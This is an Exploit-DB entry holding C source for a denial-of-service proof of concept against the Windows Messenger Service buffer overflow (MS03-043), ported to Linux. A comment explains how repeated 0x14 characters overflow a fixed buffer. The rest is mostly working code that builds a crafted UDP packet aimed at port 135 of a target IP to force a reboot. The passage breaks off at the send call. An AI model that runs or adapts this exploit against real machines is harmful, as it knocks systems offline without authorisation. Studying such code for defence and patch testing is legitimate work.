Exploit-DB #385
Description: Microsoft Messenger (Linux) - Denial of Service (MS03-043)
Type: dos
Platform: windows
Date: 2004-08-08
Author: VeNoMouS

Exploit:
/* 
Mon Oct 20 14:26:55 NZDT 2003 
  
Re-written By VeNoMouS to be ported to linux, and tidy it up a little. 
This was only like a 5 minute port but it works and has been tested. 
venomgen-x.co.nz <mailto:venomgen-x.co.nz> 
  
greets to str0ke and defy 
  


DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard. 
Launching it one or two times against the target should make the 
machine reboot. Tested against a Win2K SP4. 
  
"The vulnerability results because the Messenger Service does not 
properly validate the length of a message before passing it to the allocated 
buffer" according to MS bulletin. Digging into it a bit more, we find that 
when 
  
a character 0x14 in encountered in the 'body' part of the message, it is 
replaced by a CR+LF. The buffer allocated for this operation is twice the 
size 
of the string, which is the way to go, but is then copied to a buffer which 
was only allocated 11CAh bytes. Thanks to that, we can bypass the length 
checks 
  
and overflow the fixed size buffer. 
  
Credits go to LSD :) 
  
*/ 
  
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <errno.h> 
#include <time.h> 
  
#include <sys/types.h> 
#include <sys/socket.h> 
#include <arpa/inet.h> 
  
  
  
  
  
// Packet format found thanks to a bit a sniffing 
static unsigned char packet_header[] = 
"\x04\x00\x28\x00" 
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0" 
"\x4f\xb6\xe6\xfc" 
"\xff\xff\xff\xff" // 40 : unique id over 16 bytes ? 
"\xff\xff\xff\xff" 
"\xff\xff\xff\xff" 
"\xff\xff\xff\xff" 
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\xff\xff\xff\xff" 
"\xff\xff\xff\xff" // 74 : fields length 
"\x00\x00"; 
  
unsigned char field_header[] = 
"\xff\xff\xff\xff" // 0 : field length 
"\x00\x00\x00\x00" 
"\xff\xff\xff\xff"; // 8 : field length 
  


int usage(char *name) 
{ 
 printf("Proof of Concept for Windows Messenger Service Overflow..\n"); 
 printf("- Originally By Hanabishi Recca - reccamail.ru\n\n 
<mailto:reccamail.ru\n\n> "); 
 printf("- Ported to linux by VeNoMouS..\n"); 
 printf("- venomgen-x.co.nz\n\n\n <mailto:venomgen-x.co.nz\n\n\n> "); 
  
 printf("example : %s -d yourputtersux -i 10.33.10.4 -s 
n0nlameputer\n",name); 
 printf("\n-d <dest netbios name>\t-i <dest netbios ip>\n"); 
 printf("-s <src netbios name>\n"); 
 return 1; 
} 
  


int main(int argc,char *argv[]) 
{ 
        int i, packet_size, fields_size, s; 
        unsigned char packet[8192]; 
        struct sockaddr_in addr; 
  char from[57],machine[57],c; 
        char body[4096] = "*** MESSAGE ***"; 
  
  if(argc <= 2) 
  { 
  usage(argv[0]); 
  exit(0); 
  } 
  
    while ((c = getopt (argc, argv, "d:i:s:h")) != EOF) 
  switch(c) 
   { 
   case 'd': 
      strncpy(machine,optarg,sizeof(machine)); 
      printf("Machine is %s\n",machine); 
      break; 
   case 'i': 
            memset(&addr, 0,sizeof(addr)); 
            addr.sin_family = AF_INET; 
            addr.sin_addr.s_addr = inet_addr(optarg); 
            addr.sin_port = htons(135); 
      break; 
   case 's': 
            strncpy(from,optarg,sizeof(from)); 
      break; 
  
   case 'h': 
      usage(argv[0]); 
      exit(0); 
      break; 
   } 
       
        // A few conditions : 
        // 0 <= strlen(from) + strlen(machine) <= 56 
        // max fields size 3992 
  
  if(!addr.sin_addr.s_addr) { printf("Ummm MOFO we need a dest IP...\n"); 
exit(0); } 
  
        if(!strlen(machine)) { printf("Ummmm we also need the dest netbios 
name bro...\n"); exit(0); } 
  
  if(!strlen(from)) strcpy(from,"tolazytotype"); 
  
        memset(packet,0, sizeof(packet)); 
        packet_size = 0; 
  
        memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 
1); 
        packet_size += sizeof(packet_header) - 1; 
  
        i = strlen(from) + 1; 
        *(unsigned int *)(&field_header[0]) = i; 
        *(unsigned int *)(&field_header[8]) = i; 
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 
1); 
        packet_size += sizeof(field_header) - 1; 
        strcpy(&packet[packet_size], from); 
        packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 
4 
  
        i = strlen(machine) + 1; 
        *(unsigned int *)(&field_header[0]) = i; 
        *(unsigned int *)(&field_header[8]) = i; 
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 
1); 
        packet_size += sizeof(field_header) - 1; 
        strcpy(&packet[packet_size], machine); 
        packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 
4 
  
        fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 
3992 - packet_size + sizeof(packet_header) - sizeof(field_header)); 
        memset(body, 0x14, sizeof(body)); 
        body[3992 - packet_size + sizeof(packet_header) - 
sizeof(field_header) - 1] = '\0'; 
  
        i = strlen(body) + 1; 
        *(unsigned int *)(&field_header[0]) = i; 
        *(unsigned int *)(&field_header[8]) = i; 
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 
1); 
        packet_size += sizeof(field_header) - 1; 
        strcpy(&packet[packet_size], body); 
        packet_size += i; 
  
        fields_size = packet_size - (sizeof(packet_header) - 1); 
        *(unsigned int *)(&packet[40]) = time(NULL); 
        *(unsigned int *)(&packet[74]) = fields_size; 
  
        fprintf(stdout, "Total length of strings = %d\nPacket size = 
%d\nFields size = %d\n", strlen(from) + strlen(machine) + 
strlen(body),packet_size, fields_size); 
  


 if ((s = socket (AF_INET, SOCK_DGRAM, 0)) == -1 ) 
  { 
   perror("Error socket() - "); 
   exit(0); 
  } 
  
        if (sendto(s, packet, packet_size, 0, (str